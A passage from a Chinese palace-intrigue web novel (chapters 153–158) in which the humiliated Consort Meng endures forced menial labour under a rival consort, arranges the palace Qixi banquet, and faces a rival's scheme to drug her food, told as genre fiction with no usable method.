片刻沉默后,他冷笑道:“朕倒要看看,你能在谢妤宫中撑到几时。”
“臣妾自当尽力。”阿孟平静应答。
待皇帝身影消失,谢妤脸上的笑容顿时消失殆尽,眼中闪过一丝狠毒。
第153章 悄悄离宫
“红豆,去取些粗布衣裳来。”谢妤冷冷道,“既然皇上要我好好管教,那就该有个样子。”
红豆领命而去,不多时便捧着一叠粗布衣裳回来。
那衣料粗糙,已经洗得发白,显然不是宫中宫女太监所穿,摸起来的触感刺激皮肤,甚至比宫中粗使宫女的衣裳还要不如。
“换上。”谢妤将衣裳扔在阿孟脚边,语气轻蔑,“皇上说了,要好好规训你,本宫自当遵旨。从今日起,你就代替粗使丫鬟做活,打扫盥洗,洗刷衣物,样样都要做得好。”
顾奚慈一旁幸灾乐祸:“贵妃娘娘可真是折煞人了,竟然让一国贵妃做粗活。可惜啊,这就是有些人的命。”
“你——”红豆刚要呵斥阿孟接话,却见阿孟已经拿起了那件粗布衣裳。
“臣妾遵命。”阿孟声音淡然,仿佛并不在意这般屈辱。
谢妤眉头一皱:“红豆,你去告诉宫中所有人,任何人不得帮助孟贵妃,不得有丝毫怠慢皇上的意思。谁若敢暗中接济,便是抗旨不遵,一并处置!”
“是,娘娘。”红豆转身离去。
谢妤眼中闪过一丝阴险:“孟贵妃,本宫倒要看看,你这般桀骜不驯,能支撑到几时。”
片刻后,阿孟身着粗布衣裳,跪在后院的水池边,一双白皙的手已在冰冷的池水中浸得通红。
数十件衣裙堆在一旁,那其中不仅有谢妤的,甚至连宫女们的贴身衣物也在其中。
宫女们远远站着,窃窃私语,眼中既有怜悯也有畏惧。
无人敢上前搭手,只能眼睁睁看着一国贵妃为她们洗衣。
阿孟却不以为意,手中动作不紧不慢。
边关的磨砺让她早已习惯了艰辛,眼前这点苦楚又算得了什么?
只要能借此机会近距离观察谢妤的一举一动,为日后计划布局,这点屈辱不过是暂时的。
“你们看她,还挺能忍的。”一名宫女小声道。
“嘘,小声点,别被听见。”另一人警惕地观望四周,“红豆姑娘说了,谁敢帮她,谁就是抗旨不遵。”
阿孟低垂着眼帘,唇角微不可察地勾起。
她的目光落在谢妤寝宫的方向,眸中闪过一丝冷意。
忍吧,再忍一忍。
待到时机成熟,总有一天可以脱离皇宫,完成重担,此时的折辱不过是暂时的。
苔蘅殿外,云珠已在廊下踱步良久,小脸紧绷带着焦急。
“怎么还不见娘娘回来?”云珠咬着唇,眉头拧成一团,“都三日了,她们定是又欺负娘娘了!”
她强忍泪意,望向天边落日。自打阿孟被罚去谢妤宫中,便再无消息传回,苔蘅殿冷清得如同无主之地。
“若娘娘再不回来,我便闯进去看!”云珠一咬牙,正欲转身,却见一小太监匆匆而来,手里提着食盒,往谢妤寝殿方向去了。
那是负责送补品的小安子。
云珠眼睛一亮,三步并作两步赶上前:“小安子,且慢!”
小安子吓了一跳:“云珠姑娘?你怎在这儿?”
云珠左右看了看,压低声音:“我家娘娘在谢妤宫中,已三日无消息。你可曾见过她?”
小安子面露警惕:“这…这我可不敢说。”
“求你了!”云珠急得差点跪下,忙从袖中掏出一支金簪,“我只想知道我家娘娘可安好,这簪子送你!”
小安子见四下无人,咽了咽口水,接过金簪:“话虽如此…可若被发现…”
“不会的,我只问娘娘安危,不会连累你。”
小安子迟疑片刻,终是叹了口气:“孟贵妃如今在宫中做粗活,穿着粗布衣裳,天天跪在后院洗衣。今日…今日我见她手都磨破了,却无人敢帮。”
“什么?!”云珠眼圈顿时红了,“他们怎能如此对待一国贵妃!”
“贵妃娘娘倒是坚强,面上丝毫不显,只是…”小安子看了看四周,“只是谢贵妃命人看得紧,连口水都要经她允许才能喝。”
云珠泪如雨下,却不敢声张。她跌跌撞撞回到苔蘅殿,一夜辗转难眠。
次日清晨,云珠早早起身,寻到了负责宫中采买的刘公公。
“刘公公!”云珠行色匆匆,将一只精致荷包塞到刘公公手中,“还请公公帮个忙。”
刘公公捏了捏荷包,挑眉道:“姑娘请讲。”
“公公今日是要出宫采买吧?带上我可好?我家娘娘身陷囹圄,我需出宫寻人相救!”
刘公公吓得连连后退:“这如何使得?若被发现,我这脑袋可就保不住了!”
“公公!”云珠咬牙,又添了一只翡翠扳指,“是为救命啊!若我家娘娘有个闪失,孟家大将知晓,这宫中又有谁能安生?”
提及孟家将领,刘公公面色一变。他左右为难片刻,终是暗暗点头:“罢了!你随我出宫,但须乔装成小太监,否则难以蒙混过关。”
天色微明,云珠束起长发,换上太监服饰,混在采买队伍中低头匆行。宫门守卫草草检视一番,便放行了。
待出了宫门,云珠立刻告别刘公公,径直奔向城南疫病所。
疫病所内,贺景行正为一伤兵换药。
“贺神医!”云珠顾不得礼数,冲入病房,“救命啊!”
贺景行一见来人奇装异服,眉头微皱:“你是何人?”
“我是孟贵妃的侍女云珠啊!”云珠急得摘下帽子,露出一张哭红的小脸,“我家娘娘在宫中受难,快要撑不住了!”
贺景行立即放下手中药碗,引她至僻静处:“慢慢说,到底怎么了?”
云珠抽泣着将阿孟在谢妤宫中受辱之事一五一十道来,说得贺景行面色愈发阴沉。
“岂有此理!”贺景行怒拍桌案,“那墨司渊果真不是个明君,竟如此待她!”
他踱步片刻,沉声道:“云珠姑娘勿急。我即刻前去寻顾将军,商议对策。此事关系重大,不能冒进。”
“可我家娘娘还在宫中啊!”云珠跪地哀求,“娘娘被他们当成奴婢使唤,一人洗刷所有人衣物,日夜不得歇息!”
贺景行扶起云珠,语气缓和却坚决:“我明白你的着急。但越是危急时刻,越不能鲁莽行事。你且回宫,暗中观察情况。”
他眼中闪过一丝锐利:“现如今,阿孟身边已不能没人守着了。你先回去,留在宫中做她的眼睛和耳朵,我们外面自有安排。”
云珠擦干眼泪,深深一礼:“多谢贺神医!”
第154章 压她一头
谢妤宫中,日渐寒凉。
短短十几日,阿孟的双手已然变了模样。
曾经纤细如玉的指尖,此刻布满老茧,皮肤被冰水泡得发白起皱,指甲沿着边缘裂开几道细缝,时不时渗出丝丝血痕。
每当夜深人静,她才能借着月光查看自己的伤处。
阿孟如今寸步难行。无论她想去哪里,身后总有一双眼睛紧盯不放。
即便只是去取水,也有红豆派人跟着。
夜晚,她只能蜷缩在柴房的角落,铺一层干草充作床铺,连遮挡风寒的被子都是粗布麻绒,扎得皮肤生疼。
这一日,柳絮飘飞,春风渐暖。
“孟贵妃,速去煮水。”红豆站在柴房门口高声呼喝,“顾小姐来了,娘娘让你泡茶伺候。”
阿孟放下手中的粗布衣裳,面无表情地点头:“是。”
行至内室,就见谢妤斜倚在软榻上,顾奚慈坐在一旁,两人正说笑甚欢。
顾奚慈一见阿孟进来,眼中闪过一丝惊诧,随即嘴角勾起一抹讥诮的弧度。
“这不是孟贵妃吗?”顾奚慈用团扇掩口,“我还以为是哪个粗使婢女呢。怎么才十几日不见,瘦了这么多?”
阿孟没有应声,只是默默走到一旁的案几前,开始沏茶,她的动作依旧优雅从容。
“你瞧她那样子,还端着做什么?”顾奚慈斜眼看向谢妤,“还以为自己是什么贵人呢。”
谢妤眼中闪过一丝得意:“人贵在自知之明。孟贵妃不知好歹,皇上让我好好管教,自然要尽心竭力。”
顾奚慈接过话茬:“贵妃娘娘才是宫中真正的贵妃。这孟贵妃啊,连你一根头发丝也比不上。”
“姐姐说笑了。”顾奚慈拿起一块糕点,状似无意地放在阿孟手边,“我看她这副模样,撑不了多久了。”
阿孟面不改色,将茶盏奉上。
那双曾经白皙的手,如今已是粗糙不堪,与精致茶盏形成鲜明对比。
谢妤饮了一口茶,眼中闪过一丝讶异:“倒是泡得不错。看来,这些天的规训也不是全无效果。”
“臣妾只是奉命行事。”谢妤轻轻放下茶盏,语气中带着几分痛恨,“若孟贵妃之后能得了皇上的喜欢,那才是要紧的。”
这话说得阴阳怪气,分明是在嘲讽阿孟永远不可能再得皇上欢心,甚至恨不得她永远消失。
阿孟垂眸不语,眼中却闪过一丝冷光。
她知道谢妤话中有话,不过是故意言语相激。
如今自己身处险境,稍有不慎便会前功尽弃,无论顾奚慈如何挑衅,谢妤如何刁难,她都必须隐忍。
顾奚慈看着阿孟那副淡然模样,心中更是不悦:“贵妃娘娘,我瞧着她这般倔强,怕是还需要些教训才能明白自己的处境。”
“无妨。”谢妤漫不经心地摆了摆手,眼中闪过一丝冷意,“时间还长着呢。”
就在此时,殿外传来一阵急促的脚步声。
“娘娘,皇上驾到!”红豆匆匆进殿,神色慌张地行礼禀报。
谢妤闻言,面色骤变。她迅速坐直身子,整了整衣裳,朝顾奚慈使了个眼色。
“快,把她带下去,换身干净衣服。”谢妤压低声音,“别让皇上看见她这副模样。”
顾奚慈立刻起身,趾高气昂地走到阿孟面前。
“跟我走,快点儿。”她用扇子指了指门外,语气轻蔑得如同对待一只流浪狗,“皇上来了,可别脏了他的眼。”
阿孟淡淡扫了她一眼,默不作声地跟着她走出大殿,进了一旁的暖阁。
暖阁内,顾奚慈抱臂站在一旁,看着阿孟从柜中取出一套月白色的常服。
“真不知道皇上怎么想的,竟然封你这种人为贵妃。”顾奚慈嗤笑一声,“看看你现在的样子,哪里还有半分贵妃的尊严?”
阿孟解开粗布衣裳的系带,沉默不语。
“我表哥若是知道你现在这幅模样,怕是要笑掉大牙。”顾奚慈继续挖苦道,“一个边关回来的破烂货,也敢在皇宫里耀武扬威。”
阿孟缓缓换好衣服,将发髻重新梳理妥当。
就在顾奚慈还要开口讥讽时,阿孟突然转身,迅疾如风地取过桌上一根银钗,冷不防扣住顾奚慈的手腕,将钗尖抵在她白皙的脖颈上。
“你、你要做什么?”顾奚慈惊恐地瞪大眼睛,身体僵硬如石,“你疯了?这里是谢贵妃的宫中!”
“是啊,谢贵妃的宫中。”阿孟眼中流露出危险的光芒,声音冷得令人心寒,“但我与谢贵妃之间,隔着一道圣旨。而你,不过是个无名小卒,我是何身份,你能不知?”
顾奚慈喉结滚动,脸色煞白:“你、你不能这样……”
“不能?”阿孟冷笑一声,钗尖轻轻在顾奚慈脖颈上划过,“圣上就在外面,你尽管喊。让圣上来看看,是谁在欺辱宫中贵妃。”
顾奚慈双唇颤抖,终究不敢出声。
“聪明。”阿孟缓缓收回银钗,轻轻拂去顾奚慈衣领上并不存在的尘埃,“顾小姐,礼尚往来。你待我如何,我自会加倍奉还。”
顾奚慈脸色煞白,手足无措地后退两步,差点绊倒在地。
她整理着自己的衣领,眼中闪过一丝惊惧,却又不敢声张。
“你、你别太过分!”顾奚慈咬牙切齿地低声威胁,“谢贵妃不会放过你的!”
阿孟浅浅一笑,眸中寒光乍现:“顾小姐若真有胆识,现在就去告诉谢贵妃便是。”
顾奚慈气得浑身发抖,却又不敢真的声张。
若让谢妤知道她被一个正在受罚的贵妃威胁,岂不是显得自己无能?更何况外面还有皇上在。
她只能硬着头皮,陪着阿孟一同出了暖阁。
殿内,谢妤正依偎在墨司渊怀中,纤纤玉指剥着一颗晶莹剔透的葡萄,俨然一副恩爱模样。
看到阿孟和顾奚慈进来,谢妤唇角微微上扬,眼中闪过一丝得意。
“皇上您看,这葡萄多甜啊,”谢妤娇声细语,将剥好的葡萄送到墨司渊唇边,“您尝尝。”
墨司渊明知阿孟正看着,却故意低头寻着谢妤手中的葡萄,亲昵地用唇瓣轻触她的指尖,惹得谢妤一阵娇笑。
第155章 和宫夜宴
“臣妾参见皇上。”阿孟神色平淡,一丝不苟地行了个礼,眼中没有半点嫉妒之色。
她已然看透墨司渊为人,这些小把戏不过是为了激怒她罢了。
墨司渊见她这般冷淡,心中不悦更甚。
他故意上下打量着阿孟,目光在她消瘦的面容上停留片刻,嘴角勾起一抹讥讽的笑意。
“看来这些日子,孟贵妃过得倒是不错啊。”墨司渊慢悠悠地说道,语带嘲弄,“怎么,谢妤的宫里伙食不好?瘦了这么多。”
阿孟眼皮都没抬一下,恭敬地叩首道:“多谢皇上关怀。臣妾承蒙皇上栽培之恩,在谢贵妃宫中学到不少规矩,实乃臣妾幸事。”
墨司渊脸色顿时阴沉下来,手指在扶手上轻轻敲击。阿孟这般态度,分明是在讽刺他的决定。他被激怒了,正欲发作,谢妤却突然拉住他的手。
“皇上息怒,”谢妤柔声劝道,眼中却闪过一丝狡黠,“孟贵妃能有如此觉悟,是好事啊。”
谢妤轻轻挪动身子,凑到墨司渊耳边低语:“臣妾倒是有个好主意,可让孟贵妃彻底明白自己的位置。”
墨司渊微微颔首,冷冷地瞥了阿孟一眼:“说来听听。”
谢妤巧笑嫣然,目光却如毒蛇般落在阿孟身上。
她素手轻抚腹部,心思已然转了千百遍。
“皇上,”谢妤柔声开口,口吻温婉中透着期待,“七夕佳节将至,臣妾思来想去,不如在和秋殿举办夜宴如何?一来庆祝佳节,二来也能让皇上暂解边关疲累。”
墨司渊闻言,眉头微皱,显是无意应和:“朕近来政务繁忙,无心赏宴。”
谢妤嘴角微扬,眸光一转,不等墨司渊说完便急忙道:“皇上不必担忧准备之事。”她目光落在阿孟身上,唇角噙着冷笑,“臣妾看孟贵妃这些日子在妾身宫中,已学了不少规矩,不如就由她来操持此次宫宴,也让她展示展示所学。”
此言既出,殿内气氛微妙起来。
顾奚慈掩唇轻笑,眼中尽是幸灾乐祸之意。
墨司渊敛眸思忖片刻,冷冷看了阿孟一眼,点头道:“准了。七夕宫宴,就由孟贵妃负责。”他语气平淡,却透着不容拒绝的威严。
“臣妾遵旨。”阿孟俯身应下,声音平静如水。
她知晓,这不过是另一场针对她的圈套。
墨司渊起身离去,谢妤满面笑容相送。
待御辇远去,她才回转殿内,面上笑意尽褪。
“孟贵妃,”谢妤踱步至阿孟身前,轻拍她的肩膀,眼中闪烁着危险的光芒,“这次宫宴,你可要好好筹备。若出了任何差错……”她故意未说完,意味深长地笑了笑。
“谢娘娘放心,臣妾必不辱命。”阿孟不卑不亢,目光淡然地审视着谢妤,心中已有盘算。
顾奚慈上前一步,嗤笑道:“一个边关同男人们吃住回来的粗人,也配操办皇家宴席?怕是连规矩都忘了呢!”
谢妤却摆了摆手:“顾小姐莫急,让她自己去办,自然有她难堪的时候。”她转向阿孟,眉宇间尽是轻蔑,“孟贵妃,皇上既然信任你,我这个做姐妹的自然要成全。只是这宫宴事关重大,你若办砸了……”
阿孟神色不变,却在心底冷笑。
她静静观察着谢妤的一举一动,眼中闪过一丝精光。
“臣妾明白。”阿孟微微颔首,暗中审视着谢妤的腹部,心中已有计较。
阿孟心中了然,福身行礼:“臣妾明白。”
她微微颔首,暗中打量谢妤腹部的隆起,眸光一闪。
“孟贵妃,”谢妤轻抚腹部,面露疲态,眉宇间却带着一丝得意,“筹备宫宴事务繁多,本宫念你近日辛苦,破例准你回苔蘅殿暂居。”
阿孟不卑不亢:“多谢贵妃娘娘体恤。臣妾定不负所托,将宫宴筹备妥当。”
“去吧。”谢妤摆了摆手,随即闭目休息,示意阿孟退下。
阿孟行礼退出,背影挺拔如松。
待她身影消失在殿门,顾奚慈再也按捺不住,满面怒容地站起身来。
“贵妃娘娘!”她指着门口方向,声音因愤怒而尖利,“方才在更衣时,她竟敢用银钗威胁我!简直目无尊卑!”
红豆听罢放下茶盏,忍不住翻了个白眼,心中暗道:这位顾小姐真是个蠢材,这时候说这些有何用?
谢妤眉头微蹙,示意顾奚慈压低声音:“少说几句。”她端起茶盏轻抿一口,懒洋洋道,“身份地位上说,孟贵妃终究是贵妃,你惹不起她。”
“可是——”
“收敛你的脾气。”谢妤声音冷了几分,“你以为你表哥为何会对阿孟青眼有加?若他瞧见你这般小家子气的模样,又怎会另眼相看?”
顾奚慈被这番话刺痛,脸色一阵青一阵白,终是咬了咬唇,不再言语。
片刻后,她眼中闪过一丝不甘。
“贵妃娘娘,您不能就这样让她得意回去。”顾奚慈双手紧攥团扇,“她若真操办成这宫宴,岂不是更加不可一世?”
谢妤冷笑一声:“你放心,我自有安排。”她转向红豆,“送顾小姐出去,宫宴前我会再召见她。”
“是,娘娘。”红豆躬身应下,转头对顾奚慈道,“顾小姐,请吧。”
顾奚慈不情不愿地起身,临走前深深看了谢妤一眼,眼中满是期待与不甘。
红豆将殿门掩上,转身走回谢妤身边:“娘娘,您真要让孟贵妃操办宫宴?”
谢妤轻抚腹部,眼中闪过一丝阴毒:“不过是个鱼饵罢了,布下这局,就等着看她自投罗网。”
顾奚慈出宫后,红豆折返回谢妤寝殿,关上殿门,忍不住低声道:“娘娘,这顾小姐委实愚笨,被孟贵妃用银钗一吓,便差点魂飞魄散,这般胆量,怎配进宫参与大事?”
谢妤懒懒靠在软榻上,玉指轻轻抚过腹部,嘴角挂着一丝若有若无的笑意。
“愚笨之人最好利用。”她轻啜一口茶水,“她那不会思考的脑子,正合我意。”
红豆点了点头,又道:“娘娘,您真让孟贵妃操办七夕宫宴?若她办得好,岂不是让她扬眉吐气?”
第156章 并不是软柿子
“你以为我真会让她得逞?”谢妤冷笑一声,“这不过是请君入瓮。等她忙得焦头烂额时,本宫自有手段让她万劫不复。”
红豆闻言,顿时恍然大悟,赞叹不已:“娘娘真是神机妙算!”
“去告诉膳房,今日准备些滋补的汤羹。”谢妤抚着隆起的腹部,眼中闪过一丝狠厉,“本宫要好好养着,看那贱人如何自取灭亡。”
顾府,梳妆台前的顾奚慈正对着铜镜梳理青丝,忽听丫鬟小声禀报:“小姐,顾将军到了,正在前厅等您。”
“表哥来了?”顾奚慈闻言,眸中闪过惊喜之色,立即起身,整了整衣裙,快步向前厅走去。
顾凛鹤正立于窗前,看着院中花木出神。听到脚步声,他转过身来,目光平静。
“表哥!”顾奚慈欣喜地迎上前,笑容灿烂,“你怎么特意赶来了?不用去看伤病所的兄弟们吗?”
顾凛鹤神色淡然,开门见山道:“听闻你近日常往宫中走动,可曾见过孟贵妃?”
顾奚慈眼中闪过一丝慌乱,随即佯装不知:“孟贵妃?没有啊,我只是去看望谢姐姐。”
“是吗?”顾凛鹤眸光锐利,“我听闻孟贵妃如今在谢贵妃宫中,受了不少苦楚。”
顾奚慈心头一紧,勉强笑道:“表哥听谁说的?我确实不知此事。”
顾凛鹤上前一步,声音低沉:“奚慈,别骗我。”
顾奚慈见瞒不住,眼眶突然红了,一把抱住顾凛鹤的手臂:“表哥,她到底有什么好?为何你总是挂念着她?我哪一点比不上她?”
顾凛鹤轻轻挣脱她的手:“奚慈,不要无理取闹。今日来已得到答案,我便不多留了。”
“你就这么走?”顾奚慈妒火中烧,声音带着哭腔,“顾凛鹤,你可知觊觎宫中贵妃是何等罪责?那是死罪!你会后悔的!”
顾凛鹤头也不回地迈步向外,背影挺拔如松:“此事与你无关。”
顾奚慈站在原地,眼泪无声滑落。她紧咬下唇,心中恨意翻涌:阿孟,都是你,都是因为你!
铜镜照出扭曲容颜,顾奚慈滚烫的眼泪坠落在锦绣衣裳上,如同一朵在嫉妒烈火中燃烧的花。
苔蘅殿外,暮色将至。云珠已在门前守候多时,眼睛红肿,一看到远处那抹熟悉的身影,便再也按捺不住,飞奔而去。
"娘娘!您终于回来了!“云珠扑上前去,眼泪滚落如雨,却不敢贸然触碰阿孟,只在一旁呜咽,”奴婢日日担忧,生怕娘娘在谢妤宫中受尽欺辱。"
阿孟轻叹一声,缓步踏入院中。屋内灯火温暖,却仿佛已经陌生了许多。她摆了摆手,示意云珠不必过分担忧。
"别哭了,"阿孟轻声道,"我不是好好地站在这里吗?"
云珠抬头,这才看清阿孟消瘦的面容,不由得又是一阵心疼:"娘娘,您怎么瘦成这样了?您的手......"
阿孟随意地将手藏于袖中,眉宇间倦色不减:"无妨,过去的事不必再提。眼下皇上命我筹备七夕和宫夜宴,这才是当务之急。"
"夜宴?"云珠擦干泪水,有些诧异,"皇上...竟然让娘娘来办?"
"谢妤的意思。“阿孟声音平静,眼中却闪过一丝冷意,”她不过是想让我出尽洋相罢了。"
云珠闻言,立即挺直了腰背:“娘娘放心!奴婢定当全力相助,绝不让谢妤如愿!"
阿孟微微颔首,目光望向远处:”这宫宴,连谢妤都不会出手相助,恐怕所有人都会袖手旁观。倘若办不好,只怕连这贵妃之位都要不保。"
"娘娘有奴婢在,"云珠斩钉截铁地说,"奴婢跟了娘娘多年,宫中规矩也算熟悉。娘娘筹划,奴婢去办,定能让谢妤失望而归!"
阿孟唇角微扬,轻轻拍了拍云珠的肩头:"那就辛苦你了。"
次日清晨,阿孟领着云珠径直前往内务府。
路过的宫人见是阿孟,皆避而远之,不敢多看一眼。内务府中,诸位官员更是视而不见,仿佛阿孟成了无形之人。
"这些人也太过分了!“云珠见状,怒火中烧,”娘娘乃是皇上亲封的贵妃,他们竟敢如此无礼!"
阿孟不以为然:"人情冷暖,本就如此。"
眼见一位负责后宫宴席的公公匆匆走过,云珠当即箭步上前,拦住去路。
“公公且慢。”云珠挺直腰背,声音清亮。
那公公见是阿孟的侍女,眉头微蹙,不情不愿地拱了拱手:“不知姑娘拦下本公公有何贵干?”
云珠正欲开口斥责,阿孟却轻轻拉住她的衣袖,上前一步,端庄行礼:“公公,皇上命本宫筹办七夕和宫夜宴,不知内务府可曾收到消息?”
“这……”公公目光闪烁,行了个寒碜的礼,“确实收到了。只是谢贵妃娘娘已经传话,说孟贵妃是奉旨学习规矩,此事我等不便插手,否则……怕是要掉脑袋的。”
阿孟眼中寒光一闪,嘴角却勾起一抹笑意。
她环视四周,内务府众人皆低头避开她的目光,显然早已串通一气。
“原来如此。”
阿孟不慌不忙,走至案几前,抬手拿起一盏铜制烛台。
那烛台镂空精雕,颇为沉重。阿孟手腕一转,将烛台对准公公的眼睛。
“公公这双眼睛,看着很是清亮。”阿孟语气平静,却带着不容置疑的寒意,“若是再装糊涂,恐怕就要浑浊了。”
公公脸色瞬间煞白,咕咚一声跪在地上:“娘娘息怒!小的也是奉命行事,不得已而为之啊!”
“本宫不会为难你。”阿孟声音放缓,却不减威严,“只要公公将宴席名册与规格交予本宫,日后本宫来置办东西时,顺利配合便是。”
“这……”公公额头冒汗,眼珠转了两圈,“是,娘娘。小的这就去取。”
殿外转角处,红豆屏息凝神,将这一幕尽收眼底。
她眉头紧蹙,见阿孟如此强势,急忙悄无声息地退去。
片刻后,阿孟手持几本厚厚的册子,带着云珠离开内务府。
“娘娘方才真是太霸气了!”云珠小声赞叹,眼中闪烁着崇拜的光芒,“不过……那公会不会向谢妤告状?”
阿孟步履不停,唇角微扬:“无妨。红豆已经去了。”
“什么?”云珠一惊,声音不由拔高,“红豆在外面?那岂不是……”
第157章 另外计划
“什么?”云珠一惊,声音不由拔高,“红豆在外面?那岂不是会把娘娘的事情告诉谢贵妃?”
“无需担忧。”阿孟不慌不忙拉住云珠,将她引至一处拐角,压低声音道,“我怕的正是她不告密。”
云珠一头雾水:“娘娘此话何意?”
阿孟眸光微沉,轻声道:“谢妤此番让我筹办宫宴,用意不纯。我若猜得不错,她怕是要用腹中之子来对付我。”
“腹中之子?”云珠面色陡变,顿时慌乱起来,“娘娘,那我们该如何是好?”
阿孟垂眸算了算日子,唇角微微上扬:“她的假孕之事,也该到了了结的时候。我这便帮她一把。”
“娘娘是说……”云珠眼中闪过一丝恍然,却又被担忧覆盖,“可若是此计不成,谢妤定会加倍报复!”
“自古得失皆有命。”阿孟神色淡然,举步向前,“来日方长,先把眼前的宫宴办好。”
谢妤宫中,红豆匆匆进殿,额间细汗未干。她快步行至谢妤榻前,恭敬跪下:“娘娘,红豆方才去内务府,竟见孟贵妃在那里威胁钱公公!”
“威胁?”谢妤眸中寒光乍现,手指紧攥帕子,“她好大的胆子!”
“是啊娘娘。”红豆添油加醋道,“孟贵妃拿着烛台对着钱公公,摆明了就是不把娘娘放在眼里!她说什么若是不配合她办宫宴,就要让钱公公好看!”
谢妤冷笑一声,修长手指轻抚腹部:“这是来找死。”她眸光流转,寒意渐深,“有了腹中之子,本宫便能一举杀了她。”
“奴婢恭喜娘娘!”红豆连忙谄媚道,“待胎儿生下,娘娘定能独得圣宠,登上皇后宝座!”
“奴婢在此提前称您一声皇后娘娘,皇后娘娘千岁千岁千千岁!”红豆当即跪地,朝着谢妤行了个大礼。
“好说。”谢妤满意地点头,抬手示意红豆起身,眸中尽是得意,“来日本宫若是做了皇后,自然是少不了你的好处,红豆,你务必替我死死盯着那个贱人。”
“是,娘娘。”红豆起身,眼中闪过一丝窃喜,“奴婢这就去安排。”
阿孟在内务府一番强势示威后,宫中风向骤变。那些原本视她如无物的内务府官员,如今见了她便恭恭敬敬行礼,不敢再有半分怠慢。
和宫夜宴的筹备工作也因此进行得格外顺利,连云珠都感到几分讶异。
七夕将至,苔蘅殿内灯火通明。几案上堆满了各色账册,阿孟正低头核对着最后的宴席安排,云珠则在一旁整理其他物件。
“娘娘,您已经三天没好好休息了。”云珠心疼地看着阿孟略显憔悴的面容,轻声劝道。
“无妨。”阿孟神色平静,手中朱笔不停,“只要再过几日,宫宴成功,我便能喘口气。”
谢妤宫中,红豆正向谢妤汇报着最新情况。
“娘娘,奴婢打探到,孟贵妃这些日子几乎未出过苔蘅殿,一直本分地处理宫宴事宜,并无异常。”红豆半跪在地,声音恭敬。
谢妤卧在锦榻上,玉指轻抚着腹部,闻言嘴角微扬:“这正合我意,她越是勤勉,便越不会发现我的计划。”
谢妤坐直身子,目光如水般冷静:“那东西,你可带来了?”
“娘娘明鉴。”红豆从袖中取出一个精致的小瓷瓶,双手呈上,“这包药粉性凉,少量用不会滑胎,下官已与膳房的周公公打过招呼。待到夜宴当日,只需将此物放入孟贵妃的食物中,便可一举将她扳倒。”
谢妤接过瓷瓶,眼中闪过一抹狠辣:“好,很好。”她轻轻摇晃着瓷瓶,仿佛已经看到阿孟倒在血泊中的模样,“待到七夕那日,本宫便要让她知道,什么叫做真正的绝望。”
“娘娘英明。”红豆谄媚道,“只消此计得逞,皇上必会对那贱人彻底死心,娘娘的皇后之位便稳如泰山了。”
谢妤满意地点头,取下头上一支精致的朱钗,递给红豆:“你办事周到,这钗子赏你了。”
“谢娘娘赏赐!”红豆欣喜若狂,连忙接过朱钗,笑得眼睛都眯成了一条缝,“奴婢一定不负娘娘重托,让那孟贵妃再也翻不了身!”
七夕这日,和宫殿前已是一派忙碌景象。
阿孟立于回廊之下,指挥宫女们摆放案几,灯笼高悬,花篮错落有致,细细叮嘱每一处细节。她身着浅青色常服,腰束银丝带,虽消瘦却依旧气度不凡。
“这边的琉璃盏再高些,”阿孟指着廊下一处,声音平静却不容置疑,“夜间点燃,光线才能映照整个庭院。”
宫女们恭敬行礼,不敢有丝毫怠慢。正指点之际,殿外传来一阵脚步声,阿孟回首望去,只见谢妤领着红豆等人缓步而来,面带微笑。
阿孟微微欠身:“谢贵妃。”
“孟贵妃真是辛苦了。”谢妤穿着华贵的凤纹锦袍,腹部隆起明显,她眼中笑意盈盈,看着这满园装饰,“没想到你竟能办得如此妥帖,连本宫都要叹服几分。”
阿孟不卑不亢:“臣妾不敢当,不过是依照宫规行事而已。”
谢妤轻轻抚摸着自己的腹部,眼角余光扫视着庭院内各处,心中暗暗盘算着计划。她信步走至中庭,视线落在摆放精致点心的银盘上。
“这些点心做得可真精致。”谢妤指着案几上一盘糕点,状似随意道,“本宫倒想尝尝你准备的食物是否也如这装饰一般出色。”
阿孟微微一笑:“殿中已备好茶点,请贵妃移步品尝。”
二人步入殿内,红豆紧随其后,眼中闪过一丝狡黠。谢妤入座后,阿孟亲自奉上一盏清茶,随后命人呈上各色点心。
“贵妃请用。”阿孟恭敬道。
谢妤用帕子掩住嘴角的微笑,眼神瞟向身旁的红豆,轻轻使了个眼色。红豆会意,低声道:“娘娘,奴婢去看看晚上用的食材可都准备妥当了。”
“去吧。”谢妤点头,目送红豆退出大殿。
红豆快步行至后厨,四下张望,确认无人注意后,悄悄靠近一位瘦小的公公。
“周公公,”她低声唤道,从袖中取出那个小瓷瓶,“之前说好的事,可记得?”
第158章 下药
周公公哆嗦着接过瓷瓶:“红豆姑娘放心,晚宴上谢贵妃的食物自有专人准备,我会把这药放进去。”
“记住,不能放错。”红豆眯起眼睛,“若有闪失,你我都吃不了兜着走。”
周公公连连点头,将瓷瓶小心塞入怀中。红豆心满意足地转身,快步回到大殿。
殿内,谢妤正慢悠悠地品着茶,见红豆回来,眸中闪过一丝询问。红豆微不可察地点头,谢妤眼中闪过一抹得意。
“孟贵妃,”谢妤放下茶盏,意味深长地说,“今晚可是你在皇宫中展现自己的关键时刻,千万别出什么差错,扫了我们的雅兴。”
阿孟神色不变,眼中却闪过一丝冷光:“臣妾定当尽心尽力,绝不敢扫了贵妃的兴致。”
“那就好。”谢妤站起身来,轻抚衣角,“本宫先回去休息,晚间再来。”
阿孟恭敬行礼:“臣妾恭送贵妃。”
谢妤带着一脸满足的笑容离去,身影消失在廊下。
阿孟看着她远去的背影,眼中闪过一丝深思。
谢妤带着一脸满足的笑容离去,身影消失在廊下。阿孟看着她远去的背影,眼中闪过一丝深思。
夜幕降临,和宫灯火通明。
七夕夜宴已然开始,歌舞升平,笙箫悠扬。
谢妤的位置被精心安排在离墨司渊最近处,一袭凤纹锦袍衬得她愈发娇艳。
徐才人则坐在远处,手指不安地绞着衣角,显得有些局促。
阿孟立于一旁,神色平静地注视着这一切。
她身着浅青色常服,虽消瘦却依旧气度不凡,指挥着宫女们上茶送点,一丝不苟。
谢妤见时机已到,缓缓起身,莲步轻移至墨司渊身前,举起茶盏,眉眼含情。
“皇上,今日七夕,臣妾以茶代酒,祝愿我们二人情比鹊桥,长长久久。”谢妤声音娇柔,故意提高了几分,确保阿孟能听得一清二楚。
墨司渊眼底闪过一丝异样,目光不经意地扫向阿孟,见她面色如常,心中不悦更甚。
他接过茶盏,一饮而尽。
“好茶。”墨司渊放下茶盏,故意抬手向谢妤招了招,“过来。”
谢妤欣喜若狂,莲步轻移至墨司渊身侧。
墨司渊当着满座嫔妃的面,将谢妤搂入怀中,手掌轻轻抚上她隆起的腹部。
“朕的皇子,可要健健康康。”墨司渊声音不高不低,恰好让在场所有人都听得清楚。
